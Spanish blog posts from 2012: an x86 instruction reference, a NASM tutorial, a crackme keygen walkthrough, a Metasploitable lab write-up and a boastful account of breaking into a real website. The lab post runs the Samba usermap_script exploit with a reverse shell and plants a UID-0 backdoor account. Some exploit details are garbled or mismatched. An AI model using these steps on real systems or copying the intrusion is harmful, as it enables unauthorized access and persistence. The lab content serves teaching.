PUSHF Guarda banderas.
RCL r/m,1 Rotación a la izquierda con acarreo.
r/m,CL
RCR r/m, 1 Rotación a la derecha con acarreo.
r/m, CL
REP Repite.
REPE Repite si igual.
REPNE Repite si no igual.
REPNZ Repite si no cero.
REPZ Repite si cero.
RET [inmed] Regresa después de recuperar bytes de la pila.
ROL r/m,1 Rotación a la izquierda.
r/m, CL
ROR r/m,1 Rotación a la derecha.
r/m, CL
SAHF Carga banderas con el valor de AH.
SAL r/m, 1 Desplazamiento aritmético a la izquierda.
r/m, CL
SAR r/m, 1 Desplazamiento aritmético a la derecha.
r/m, CL
SBB acum, inmed Substracción con acarreo.
r/m,inmed
r/m, reg
reg,r/m
SCAS dest Explora cadena.
SCASB Explora cadena para el byte en AL.
SCASW Explora cadena por la palabra en AX.
SHL r/m, 1 Desplazamiento a la izquierda.
r/m, CL
SHR r/m, 1 Desplazamiento a la derecha.
r/m, CL
STC Fija bandera de acarreo.
STD Fija bandera de dirección.
STI Fija bandera de interrupción.
STOS dest Guarda cadena.
STOSB Guarda byte en AL en la cadena.
STOSW Guarda palabra en AX en la cadena.
SUB accum, inmed Substracción.
r/m,inmed
r/m, reg
reg,r/m
TEST acum, inmed Comparación.
r/m,inmed
r/m, reg
reg,r/m
WAIT Aguarda.
XCHG acum, reg Intercambio.
r/m,inmed
r/m, reg
reg,r/m
XLAT Traduce.
XOR acum, reg Operación XOR a nivel bit.
r/m,inmed
r/m, reg
reg,r/m

8087

F2XM1 Calcula 2x-1.
FABS Toma valor absoluto del tope de la pila.
FADD mem Suma real.
FADD ST,ST(i) Suma real desde la pila.
FADD ST(i),ST Suma real a la pila.
FADDP ST(i), ST Suma real y saca de pila.
FBLD mem Carga un decimal empacado de 10 bytes en lapila.
FBSTP mem Almacena un decimal empacado de 10 bytes y saca de pila.
FCHS Cambia signo del valor en el tope de la pila.
FCLEX Borra las excepciones después de un WAIT.
FCOM Compara real.
FCOM ST Compara real con el tope de la pila.
FCOM ST(i) Compara real con la pila.
FCOMP Compara real y saca de pila.
FCOMP ST Compara real con el tope dela pila y saca de pila.
FCOMP ST(i) Compara real con el tope de la pila y saca.
FCOMPP Compara real y saca dos valores de la pila.
FDECSTP Decrementa el apuntador de la pila.
FDISI Deshabilita las interrupciones después de un WAIT.
FDIV mem División real.
FDIV ST,ST(i) División real desde la pila.
FDIV ST(i), ST División real en la pila.
FDIVPST(i), ST División real sacando valor de la pila.
FDIVR División real invertida.
FDIVR mem División real invertida desde memoria.
FDIVR ST, ST(i) División real invertida desde la pila.
FDIVR ST(i), ST División real invertida desde la pila.
FDIVRPST(i), ST División con un real invertido y sacando valor de la pila.
FENI Habilita interrupciones después de un WAIT.
FFREE Libera elemento dela pila.
FIADD mem Suma entera de un número de2 ó 4 bytes.
FICOM mem Compara enteros de 2 ó 4 bytes y saca de la pila.
FICOMP mem Compara entero de 2 ó4 bytes y saca de pila.
FIDIV mem División entera.
FDIVR mem División entera invertida.
FILD mem Carga un entero de 2, 4 u 8 bytes en la pila.
FIMUL mem Multiplicación entera de 2 ó 4 bytes.
FINCSTP Incrementa el apuntador de la pila.
FINIT Inicializa el procesador después de WAIT.
FIST mem Almacena entero de 2 ó 4 bytes.
FISTP mem Almacena entero de 2, 4 u 8 bytes y saca de la pila.
FISUB mem Resta entero de 2 ó 4 bytes.
FISUBR mem Resta entera de 2 ó 4 bytes invertida.
FLD mem Carga real de 4, 8 ó 10 bytes en la pila.
FLD1 Pone +1.0 en el tope de la pila.
FLDCW mem Carga la palabra de control.
FLDENV mem Carga entorno 8087 (14 bytes).
FLDL2E Cargalog2 e en el tope dela pila.
FLDL2T Cargalog2 10en el tope de la pila.
FLDLG2 Cargalog102 en el tope de la pila.
FLDLN2 Cargaloge2 en el tope de la pila.
FLDPI Carga p en el tope dela pila.
FLDZ Carga +0.0 en el tope de la pila.
FMUL Multiplicación real.
MUL mem Multiplicación real desde memoria.
FMUL ST, ST(i) Multiplicación real desde pila.
FMUL ST(i), ST Multiplicación real a la pila.
FMULP ST, ST(i) Multiplicación real y saca de la pila.
FNCLEX Borra excepciones sin WAIT.
FNDISI Inhabilita interrupciones sin WAIT.
FNENI Habilita interrupciones sin WAIT.
FNINIT Inicializa procesador sin WAIT.
FNOP Operación nula.
FNSAVE mem Salva estado 8087 (94 bytes) sin WAIT.
FNSTCW mem Almacena la palabra de control sin WAIT.
FNSTENV mem Guarda el entorno 8087 sin WAIT.
FNSTSW mem Almacena el estado8087 sin WAIT.
FPATAN Función arcotangente parcial.
FPREM Residuo parcial.
FPTAN Función tangente parcial.
FRNDINT Redondea a entero
FRSTOR mem Restablece estado8087 (94 bytes)
FSAVE mem Conserva el estado8087 (94 bytes).
FSCALE Escala
FSQRT Raíz cuadrada
FST Almacena real.
FST ST Almacena real desde el tope de la pila.
FST ST(i) Almacena real desde lapila.
FSTCW mem Almacena palabra de control con WAIT.
FSTENV mem Guarda el entorno 8087 después de WAIT.
FSTP mem Guarda real de 4, 8 ó 10 bytes y saca de la pila.
FSTSW mem Almacena la palabra de estado depués de WAIT.
FSUB Substracción real.
FSUB mem Substracción real desde memora.
FSUB ST, ST(i) Substracción real desde la pila.
FSUB ST(i), ST Substracción real a la pila.
FSUBPST, ST(i) Substrae real y saca de pila.
FSUBR Substracción real invertida.
FSUBR mem Substracción real invertida desde memoria.
FSUBR ST,ST(i) Substracción real invertida desde la pila.
FSUBR ST(i), ST Substracción real invertida a la pila.
FSUBRPST(i), ST Substracción real invertida a la pila y saca.
FTST Prueba el tope dela pila.
FWAIT Aguarda que la última operación 8087 termine.
FXAM Examina el elemento del tope de la pila.
FXCH Intercambia contenido de los elementos de la pila.
FFREEST Intercambia el elemento del tope de la pila.
FFREEST(i) Intercambia el elemento del tope de la pila y el i-ésimo elemento.
FXTRACT Extrae el exponente y significando.
FYL2X Calcula Y log2 X.
FYL2PI Calcula Y log2 (x+1)
80186/80188/80286 (modo no protegido)
BOUND reg, mem Detecta valor fuera de rango.
ENTER inmed16, inmed8 Hace elemento en la pila para llamada a procedimiento.
IMUL reg, inmed Multiplicación entera.
reg, r/m,inmed
INS mem, DX Entrada de cadena desde el puerto DX.
INSB mem,DX Entrada de cadena de bytes desde el puerto DX.
INSW mem DX Entrada de cadena de palabras desde el puerto DX.
LEAVE Deja procedimiento.
OUTS DX, mem Salida de cadena de bytes o palabras al puerto DX.
OUTSBDX, mem Salida de cadena de bytes al puerto DX.
OUTSW DX, mem Salida de cadena de palabras al puerto DX.
POPA Saca todos los registros de la pila.
PUSH inmed Introduce a la pila
PUSHA Introduce todos los registros.
RCL r/m, inmed Rotación a la izquierda con acarreo
RCR r/m, inmed Rotación a la derecha con acarreo.
ROL r/m, inmed Rotación a la izquierda.
ROR r/m, inmed Rotación a la derecha.
SAL r/m, inmed Desplazamiento aritmético a la izquierda.
SAR r/m, inmed Desplazamiento aritmético a la derecha.
SHL r/m, inmed Desplazamiento a la izquierda.
SHR r/m, inmed Desplazamiento a la derecha.

80286 (modo protegido)

ARPL mem, reg Ajusta petición de nivel de privilegio.
CLTS Limpia bandera de conmutación de tareas.
LAR reg, mem Carga derechos de acceso.
LGDT mem Carga la tabla de descriptores globales (8 bytes).
LIDT mem Carga tabla de descriptores de interrupciones (8 bytes).
LLDT mem Carga la tabla de descriptores locales.
LMSW mem Carga la palabra de estado.
LSL reg, mem Carga el límite del segmento.
LTR mem Carga registro de tareas.
SGDT mem Guarda la tabla de descriptores locales (8 bytes).
SIDT mem Guarda tabla de descriptores de interrupciones (8 bytes).
SMSW mem Guarda la palabra de estado.
STR mem Guarda registro de tareas.
VERR mem Verifica acceso de lectura.
VERW mem Verifica acceso de escritura.
80287
FSETPM Fija modo protegido.
FSTSWAX Almacena palabra de estado en AX (aguarda).
FNSTSWAX Almacena palabra de estado en AX (no aguarda).

Moviendo movimientos

MOV destino, origen
Esta función trata el intercambio entre registros, ya sean valores o direcciones. Pongamos un ejemplo:

MOV EBX, 1
MOV EAX, EBX

Estamos enviando el valor 1 a EBX, y este pasaría a EAX. Recordemos que un registro está compuesto por 32 bit, pero en este caso únicamente utilizamos 4 bit, por lo que utilizaríamos únicamente los últimos 4 bit, es decir, BL y AL.
¿Pero no dijiste que podrías mover un valor o una dirección? Así es.
Supongamos por un momento, que tenemos una direccion en memoria, en el registro EBX, y queremos pasarlo a EAX... Hariamos lo mismo, ya que en el ejemplo anterior, pasamos la dirección de 1 a EAX. Si no queremos esto, podemos pasar únicamente el valor, en lugar de la dirección de la siguiente manera:

MOV EAX, dowrd [EBX]

Le estaríamos indicando que pasaremos un valor de tamaño DWORD a EAX, y ese valor es el que estará presente en EBX.

Instrucción LEA
No, no te vamos a pedir que te pongas a leer... De momento. Recordando el caso de MOV... ¿Y si queremos un puntero? Fácil. La instrucción LEA se encarga de ello. Como vemos, la sintaxis es sencilla:

LEA destino, origen

Supongamos que tenemos un valor almacenado en EDX, y queremos un offset en EAX, lo haríamos de la siguiente forma:

LEA EDX, [EAX]

De esta forma, indicaríamos que pasaremos el offset (LEA) a EDX, residente en EAX

Instrucciones JMP y CALL
Estas instrucciones son las encargadas de desviar el programa a una zona determinada. La diferencia entre JMP y CALL, es que CALL realiza un salto a una subrutina con retorno, mientras que JMP realiza un salto dentro del segmento.
Su sintaxis es:

JMP destino
CALL destino

Básicamente, la principal diferencia entre JMP y CALL, es que JMP ejecuta un salto a una línea de código, y CALL entra en una subrutina.

Comparaciones

JB o JNAE: Salta si CF está activada.
Objetivo: Saltar si la última comparación realizada con
números naturales da menor.
JG o JNLE: Salta si ZF es cero o si OF y SF son iguales.
Objetivo: Saltar si la última comparación realizada con
números enteros da mayor.
JL o JNGE: Saltar si SF es diferente a OF
Objetivo: Saltar si la última comparación realizada con
números enteros da menor.
JC: Saltar si CF está prendida
Objetivo: Saltar si hay acarreo
JO: Saltar si OF está prendido
Objetivo: Saltar si hay desbordamiento
JP: Saltar si PF está prendido
Objetivo: Saltar si hay paridad
JS: Saltar si SF está prendido
Objetivo: Saltar si es negativo
JNE o JNZ: Comportamiento inverso a JE o JZ
JNA o JBE: Comportamiento inverso a JA o JNBE
JNB o JAE: Comportamiento inverso a JB o JNAE
JNG o JLE: Comportamiento inverso a JG o JNLE
JNL o JGE: Comportamiento inverso a JL o JNGE
JNC: Comportamiento inverso a JC
JNO: Comportamiento inverso a JO
JNP o JPO: Comportamiento inverso a JP
JNS: Comportamiento inverso a JS

Algunas operaciones aritméticas
Suma:

MOV EAX,10
MOV EDX,20
ADD EAX,EDX

Resta:

MOV EAX,20
MOV EDX,10
SUB EAX,EDX

Multiplicación con signo:

MOV EAX,10
MOV EDX,20
IMUL EAX,EDX

División sin signo:

MOV AX,20
MOV BL,4
DIV BL

Ejemplo de una calculadora simple en NASM:

global main
extern printf
extern scanf
extern exit
segment .data
sVal1 DB `Entero 1: \0`
sVal2 DB `Entero 2: \0`
sTOTAL DB `Resultado: %i\n\0`
Ftoi DB `%i\0`
sMenu DB `@@@@@@@@@@@@@@@@@@@@@@\n@ @\n@ @\n@ Calculadora V1 ASM @\n@ @\n@ @\n@@@@@@@@@@@@@@@@@@@@@@\n\n1.- Suma\n2.- Resta\n3.- Multiplicación\n4.- División\n\nOpción:\n\0`
sMal DB `Opcion incorrecta\n\0`
segment .bss
NUM1 RESB 4
NUM2 RESB 4
Menu RESB 4
segment .text
main:
PUSH EBP
MOV EBP,ESP
SUB ESP,4
MOV [ESP],dword sMenu
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword Menu
CALL scanf

CMP dword [Menu],4
JA optMal
CMP dword [Menu],1
JE Suma
CMP dword [Menu],2
JE Resta
CMP dword [Menu],3
JE Multip
CMP dword [Menu],4
JE Divis
CALL exit
optMal:
MOV [ESP],dword sMal
CALL printf
JMP main
Suma:
MOV [ESP],dword sVal1
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM1
CALL scanf
MOV [ESP],dword sVal2
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM2
CALL scanf
MOV EAX,dword [NUM1]
MOV EDX,dword [NUM2]
ADD EAX,EDX
JMP Resultado
Resta:
MOV [ESP],dword sVal1
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM1
CALL scanf
MOV [ESP],dword sVal2
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM2
CALL scanf
MOV EAX,dword [NUM1]
MOV EDX,dword [NUM2]
SUB EAX,EDX
JMP Resultado
Multip:
MOV [ESP],dword sVal1
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM1
CALL scanf
MOV [ESP],dword sVal2
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM2
CALL scanf
MOV EAX,dword [NUM1]
MOV EDX,dword [NUM2]
IMUL EAX,EDX
JMP Resultado
Divis:
MOV [ESP],dword sVal1
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM1
CALL scanf
MOV [ESP],dword sVal2
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM2
CALL scanf
MOV AX,word [NUM1]
MOV DL,byte [NUM2]
DIV DL
JMP Resultado
Resultado:
PUSH EAX
PUSH sTOTAL
CALL printf
LEAVE
RET

Compilación en Windows:

nasm -f win32 -Wall --prefix _ Calc.ASM
gcc -o Calc.exe Calc.obj

Compilación en Linux:

nasm -f elf Calc.ASM
gcc -o Calc Calc.o

Fuente: Yo-Mismo (Oversec.org)
Saludos

[Tutorial] Keygen CrackMe Mr.Blood

2012-07-01T12:09:00.003-07:00

Lo tenía pendiente desde hace algún tiempo...

Revisión

Lo primero es obtener el crackme, pueden descargarlo desde Aquí.

Lo primero que hice fué dar una revisión rápida al crackme y al fichero data. No muestra más que un código de 8 bytes.

Análisis
Decidido arranco el Crackme, y veo:

00401290  /$  55            PUSH EBP
00401291  |.  89E5          MOV EBP,ESP
00401293  |.  53            PUSH EBX
00401294  |.  81EC 84000000 SUB ESP,84
0040129A  |.  83E4 F0       AND ESP,FFFFFFF0
0040129D  |.  B8 00000000   MOV EAX,0
004012A2  |.  83C0 0F       ADD EAX,0F
004012A5  |.  83C0 0F       ADD EAX,0F
004012A8  |.  C1E8 04       SHR EAX,4
004012AB  |.  C1E0 04       SHL EAX,4
004012AE  |.  8945 A4       MOV [LOCAL.23],EAX
004012B1  |.  8B45 A4       MOV EAX,[LOCAL.23]
004012B4  |.  E8 87060000   CALL Crackme.00401940
004012B9  |.  E8 22030000   CALL Crackme.004015E0
004012BE  |.  C645 EF 00    MOV BYTE PTR SS:[EBP-11],0               ; |
004012C2  |.  C74424 04 003>MOV DWORD PTR SS:[ESP+4],Crackme.0040300>; |
004012CA  |.  C70424 023040>MOV DWORD PTR SS:[ESP],Crackme.00403002  ; |ASCII "data"
004012D1  |.  E8 AA070000   CALL                  ; \fopen
004012D6  |.  8945 B4       MOV [LOCAL.19],EAX
004012D9  |.  C745 E8 00000>MOV [LOCAL.6],0
004012E0  |>  837D E8 01    /CMP [LOCAL.6],1
004012E4  |.  7F 39         |JG SHORT Crackme.0040131F
004012E6  |.  C745 E4 00000>|MOV [LOCAL.7],0
004012ED  |>  837D E4 03    |/CMP [LOCAL.7],3                        ; |
004012F1  |.  7F 25         ||JG SHORT Crackme.00401318              ; |
004012F3  |.  8B45 E8       ||MOV EAX,[LOCAL.6]                      ; |
004012F6  |.  C1E0 02       ||SHL EAX,2                              ; |
004012F9  |.  0345 E4       ||ADD EAX,[LOCAL.7]                      ; |
004012FC  |.  8D55 F8       ||LEA EDX,[LOCAL.2]                      ; |
004012FF  |.  01D0          ||ADD EAX,EDX                            ; |
00401301  |.  8D58 F8       ||LEA EBX,DWORD PTR DS:[EAX-8]           ; |
00401304  |.  8B45 B4       ||MOV EAX,[LOCAL.19]                     ; |
00401307  |.  890424        ||MOV DWORD PTR SS:[ESP],EAX             ; |
0040130A  |.  E8 61070000   ||CALL                 ; \getc
0040130F  |.  8803          ||MOV BYTE PTR DS:[EBX],AL
00401311  |.  8D45 E4       ||LEA EAX,[LOCAL.7]
00401314  |.  FF00          ||INC DWORD PTR DS:[EAX]
00401316  |.^ EB D5         |\JMP SHORT Crackme.004012ED
00401318  |>  8D45 E8       |LEA EAX,[LOCAL.6]
0040131B  |.  FF00          |INC DWORD PTR DS:[EAX]
0040131D  |.^ EB C1         \JMP SHORT Crackme.004012E0
0040131F  |>  8B45 B4       MOV EAX,[LOCAL.19]                       ; |
00401322  |.  890424        MOV DWORD PTR SS:[ESP],EAX               ; |#Dirección de stack donde almacena la recogida
00401325  |.  E8 36070000   CALL                 ; \fclose

En mi caso, es almacenado en 0022FF38.

Profundizando

Si continuo traceando...

0040132A  |.  C745 E4 00000>MOV [LOCAL.7],0
00401331  |>  837D E4 03    /CMP [LOCAL.7],3
00401335  |.  7F 2A         |JG SHORT Crackme.00401361
00401337  |.  8B4D E4       |MOV ECX,[LOCAL.7]
0040133A  |.  8D45 F8       |LEA EAX,[LOCAL.2]
0040133D  |.  0345 E4       |ADD EAX,[LOCAL.7]
00401340  |.  83E8 08       |SUB EAX,8
00401343  |.  0FB610        |MOVZX EDX,BYTE PTR DS:[EAX]             ;   #Movemos byte[posicionActual] (leido de antes)
00401346  |.  B8 07000000   |MOV EAX,7                               ;  EAX=7 (Len)
0040134B  |.  2B45 E4       |SUB EAX,[LOCAL.7]
0040134E  |.  0FB64428 F0   |MOVZX EAX,BYTE PTR DS:[EAX+EBP-10]      ;  movemos a eax el ultimo byte (byte[len(byte) - posicionActual])
00401353  |.  8D0402        |LEA EAX,DWORD PTR DS:[EDX+EAX]
00401356  |.  89448D C8     |MOV DWORD PTR SS:[EBP+ECX*4-38],EAX     ;  Guardamos suma de los 2 bytes en [EBP+ECX*4-38]
0040135A  |.  8D45 E4       |LEA EAX,[LOCAL.7]
0040135D  |.  FF00          |INC DWORD PTR DS:[EAX]                  ;  Siguiente
0040135F  |.^ EB D0         \JMP SHORT Crackme.00401331

Es la base del algoritmo. Lo que hace el Señor Sangre, es sumar el 1º byte con el 8º, el 2º con el 7º etc. Si hechamos un vistazo al buffer donde se almacena, podremos ver nuestro serial creado, y al ser de serial único, prefiero no regalarlo

Sigamos.

00401361  |> \C70424 500000>MOV DWORD PTR SS:[ESP],50                ; ||||||||
00401368  |.  E8 E3060000   CALL                ; |||||||\putchar
0040136D  |.  C70424 610000>MOV DWORD PTR SS:[ESP],61                ; |||||||
00401374  |.  E8 D7060000   CALL                ; ||||||\putchar
00401379  |.  C70424 730000>MOV DWORD PTR SS:[ESP],73                ; ||||||
00401380  |.  E8 CB060000   CALL                ; |||||\putchar
00401385  |.  C70424 730000>MOV DWORD PTR SS:[ESP],73                ; |||||
0040138C  |.  E8 BF060000   CALL                ; ||||\putchar
00401391  |.  C70424 3A0000>MOV DWORD PTR SS:[ESP],3A                ; ||||
00401398  |.  E8 B3060000   CALL                ; |||\putchar
0040139D  |.  C70424 200000>MOV DWORD PTR SS:[ESP],20                ; |||
004013A4  |.  E8 A7060000   CALL                ; ||\putchar
004013A9  |.  8D45 B8       LEA EAX,[LOCAL.18]                       ; ||
004013AC  |.  83C0 0C       ADD EAX,0C                               ; ||
004013AF  |.  894424 10     MOV DWORD PTR SS:[ESP+10],EAX            ; ||
004013B3  |.  8D45 B8       LEA EAX,[LOCAL.18]                       ; ||
004013B6  |.  83C0 08       ADD EAX,8                                ; ||
004013B9  |.  894424 0C     MOV DWORD PTR SS:[ESP+C],EAX             ; ||
004013BD  |.  8D45 B8       LEA EAX,[LOCAL.18]                       ; ||
004013C0  |.  83C0 04       ADD EAX,4                                ; ||
004013C3  |.  894424 08     MOV DWORD PTR SS:[ESP+8],EAX             ; ||
004013C7  |.  8D45 B8       LEA EAX,[LOCAL.18]                       ; ||
004013CA  |.  894424 04     MOV DWORD PTR SS:[ESP+4],EAX             ; ||
004013CE  |.  C70424 073040>MOV DWORD PTR SS:[ESP],Crackme.00403007  ; ||ASCII "%i %i %i %i"
004013D5  |.  E8 66060000   CALL                  ; |\scanf

Generamos la cadena "Pass: " caracter por caracter manualmente, y pasamos a recojer 4 valores enteros.

Toque final

004013ED  |> /837D E8 03    /CMP [LOCAL.6],3
004013F1  |. |7F 24         |JG SHORT Crackme.00401417
004013F3  |. |8B4D E8       |MOV ECX,[LOCAL.6]
004013F6  |. |B8 03000000   |MOV EAX,3
004013FB  |. |89C2          |MOV EDX,EAX
004013FD  |. |2B55 E8       |SUB EDX,[LOCAL.6]
00401400  |. |8B448D B8     |MOV EAX,DWORD PTR SS:[EBP+ECX*4-48]     ;  Buffer con nuestro serial falso
00401404  |. |3B4495 C8     |CMP EAX,DWORD PTR SS:[EBP+EDX*4-38]     ;  ¿Te suena esta dirección? Buffer con serial generador
00401408  |. |74 06         |JE SHORT Crackme.00401410               ;  Buen chico
0040140A  |. |C645 EF 01    |MOV BYTE PTR SS:[EBP-11],1
0040140E  |. |EB 07         |JMP SHORT Crackme.00401417              ;  Chico Malo
00401410  |> |8D45 E8       |LEA EAX,[LOCAL.6]
00401413  |. |FF00          |INC DWORD PTR DS:[EAX]                  ;  Siguiente.
00401415  |.^\EB D6         \JMP SHORT Crackme.004013ED

Ahí vemos que compara los bytes falsos por los bytes generados en el algoritmo.
Me pareció un serialme simple pero entretenido...

Zona 0

Esta es el código del Keygen, programado en VB (Por pereza)

Option Explicit

Private Sub Form_Load()
Dim B1 As String
Dim B2 As String
Dim i As Integer

Open "c:\data" For Binary As #1
    B1 = Space(LOF(1))
    Get #1, , B1
Close #1
For i = 1 To 4
    B2 = Asc(Mid(B1, i, 1)) + Asc(Mid(B1, Len(B1) - (i - 1), 1)) & vbCrLf & B2
Next
MsgBox B2, vbInformation
End Sub

Un Saludo!

[Relato] Entorno de seguridad Metasploitable versión Mayo 2010, Técnica #1

2012-06-10T06:18:00.000-07:00

Esta sólo es una técnica para explotar la distro, veo un sin fín de caminos, recorrí el primero con el que me topé. Próximamente explicaré otros métodos.

La verdad, esperaba algo más complejo, pero ahí va

Tiempo: ~20 minutos

¿Qué necesitaremos?

Metasploitable 05/2010
Metasploit
Nmap
Nessus Scanner

¿Cuáles serán nuestros objetivos?

Instalación del entorno
Mapeo de red
Escaneo
Análisis
Ataque y Root
Backdoor SSH
Despedida

¿Reglas?

Instalación del entorno

Lo primero será obtener la imagen del disco duro del sistema desde el link citado anteriormente.
Cabe aclarar, que para acoplar el fichero VMDK a VirtualBox, primero tendrán que convertirlo a VDI. Esto se soluciona acoplandola a VMWare.

La configuración es autmática, sólo deberás configurar la red como adaptador host a host.

Mapeo de red

Como de costumbre, acudiremos a nmap.

nmap -sP 192.168.xxx.*

Esto arroja:

Starting Nmap 5.51 ( http://nmap.org ) at 2012-06-09 11:54 Hora de verano romance
Nmap scan report for 192.168.29.1
Host is up.
Nmap scan report for 192.168.29.128
Host is up (0.012s latency).
MAC Address: 00:0C:29:1E:8B:E7 (VMware)
Nmap scan report for 192.168.29.254
Host is up (0.0030s latency).
MAC Address: 00:50:56:F1:C8:4D (VMware)
Nmap done: 256 IP addresses (3 hosts up) scanned in 8.06 seconds

Tenemos nuesta máquina lista en la dirección 192.168.29.128.

Escaneo Hechemos un vistazo rápido con Nmap:

nmap -sS -sV 192.168.29.128

Aquí nos topamos con algunas cosas interesantes.

PORT STATE SERVICE VERSION

21/tcp open ftp?

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 wi

th Suhosin-Patch)

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:1E:8B:E7 (VMware)
Service Info: Host: metasploitable.localdomain; OS: Linux

Da más miedo que Bush hablando de paz.

Como sospechaba, aquí esta el terrorífico resultado de Nessus:


Alta:Apache HTTP Server Byte Range DoS
Microsoft Windows SMB Shares Unprivileged Access


 Media:
 SMB Signing Disabled HTTP TRACE / TRACK Methods Allowed
Apache HTTP Server httpOnly Cookie Information Disclosure

 Baja: 
 [...] Muchisimas vulnerabilidades leves

Así que empecemos por la primera... Heap-Based Remote Buffer Overflow.

Buscando por Google concluimos:

Attackers can exploit this vulnerability to execute arbitrary code with SYSTEM-level privileges. Failed exploit attempts will result in a denial-of-service condition.

Un atacante puede ejecutar código arbitrario en la máquina remota mediante desbordamiento de buffer. Ésto se consigue sobreescribiendo la pila para redireccionar el punto de retorno hacia nuestro código malicioso, que, por ejemplo, dejará un puerto a la escucha.

Todo con permisos System (ROOT)

Si el ataque no prospera, nuestro ataque generará una saturación en dicho servicio que finalizará en K.O. informático (DoS). Véase PortKnocking

Análisis

Tenemos un fallo, de entre tantos, en el servicio SAMBA. Antes de ponernos a rompernos la cabeza con el exploit... Teniendo en cuenta que ya no es ningún reto, acudiremos directamente a Metasploit.

Esto no pretende ser ningún tipo de tutorial sobre nessus, metasploit o nmap, sino una guia de ataque. Sin embargo, para quienes jamás utilizaron MSF pero sí se dedican a esto, deberían conocer los comandos básicos. O cómo llegar a ellos.

search EXPLOIT
use EXPLOITlink
search PAYPLOADS
set PAYLOAD PayLoadlink
show options
set OPCIÓN Valor
exploit

Esta sería una guía abstracta. Hay quien ensucia nombres "sabiendo como y no porqué"

Procedamos al ataque.

Ataque y ROOT

Pues bien, primero sería acudir a la búsqueda del exploit.

search samba

Advertí el siguiente exploit, que utilicé:

use exploit/multi/samba/usermap_script

Me puse a identificar payloads... Haber cual me conviene más

search payload

Y configuré como payload una shell inversa para su S.O.

set PAYLOAD cmd/unix/reversepayload/cmd/unix/reverse

Y listo, solo falta configurar opciones.

SHOW OPTIONS
-------------
set RPORT 445
set LHOST 192.168.29.1
RHOST 192.168.29.128

Final:

exploit

Backdoor SSH

Ya que logramos acceder con permisos de ROOT, es tan simple como ejecutar el comando passwd.

Posteriormente, estramos por ssh...

ssh root@192.168.29.128
root@192.168.29.128's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~#

Dejamos un regalito:

root@metasploitable:~# adduser yo-mismo
Adding user `yo-mismo' ...
Adding new group `yo-mismo' (1004) ...
Adding new user `yo-mismo' (1004) with group `yo-mismo' ...
Creating home directory `/home/yo-mismo' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for yo-mismo
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [y/N] y
root@metasploitable:~#

Ya tenemos un nuevo usuario en la máquina.... Vamos a cambiarle los permisos

nano /etc/passwd

Y ahí cambiamos:

yo-mismo:x:1004:1004:,,,:/home/yo-mismo:/bin/bashar/lib/postgresql:/bin/bash Por:
yo-mismo:x:0:0:,,,:/home/yo-mismo:/bin/bashar/lib/postgresql:/bin/bash

Con esto modificamos el GID y el UID del usuario. únicamente sería preciso editar el ID del grupo al que pertenece (a root), pero buéh, la costumbre manda
¿Tenemos el usuario listo para entrar por SSH como ROOT?

ssh yo-mismo@192.168.29.128

yo-mismo@192.168.29.128's password:

Last login: Sat Jun 9 06:48:10 2012 from 192.168.29.1

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by

applicable law.

To access official Ubuntu documentation, please visit:

http://help.ubuntu.com/

root@metasploitable:~# id
uid=0(root) gid=0(root) groups=0(root)

root@metasploitable:~#

Lindo panorama.

Despedida

Link original: OverSec.org

Dedicación: 11Sep, Hielasangre, Swash, .... A tí.

Un saludo!

Relato de una infiltración, a medias. Full Source Disclousure.

2012-06-07T04:49:00.000-07:00

Esto es un relato un tanto viejo, al cual dejé pasar un tiempo antes de publicar, hasta que el bug fué reparado.

Mientras mi "socio", 11sep navegábamos, topamos con un servidor vulnerable. Esta vez, un FSD.

Igual que el anterior relato, la llamaremos site.com.

Esta página, tenía un script absurdo, que descargaba "ficheros", en la ruta site.com/down.php?f=xxx

Recorrimos la página desde el index hasta topar con los datos de MySQL, al cual accedimos, bajo previa protección.

Llegamos al panel de administración, pero el problema estaba en que se trataba de un hash en SHA1 y MD5, el cual en lugar de brutalizar, cambiamos la clave durante 1 minuto para entrar.

Dentro nos topamos con un sinfín de vulnerabilidades, que si FSD, que si FPD, que si SQLi... Y un lindo uploader...

No hicimos nada, ya que la web podríamos clonarla, y teniamos la base de datos.
Como en el anterior relato, es mi único objetivo.

Dejamos pasar un tiempo, y volvimos a intentar entrar, para subir una shell. Resulta que habían migrado a un servidor MySQL que no permitía conexiones internas.

Sinceramente me resulta patético buscar scripts por Mr.Google y colgarlos, sin antes saber qué hace... Imaginen si hubieramos subido la shell y rooteado... ¿De qué habría servido migrar el servidor?

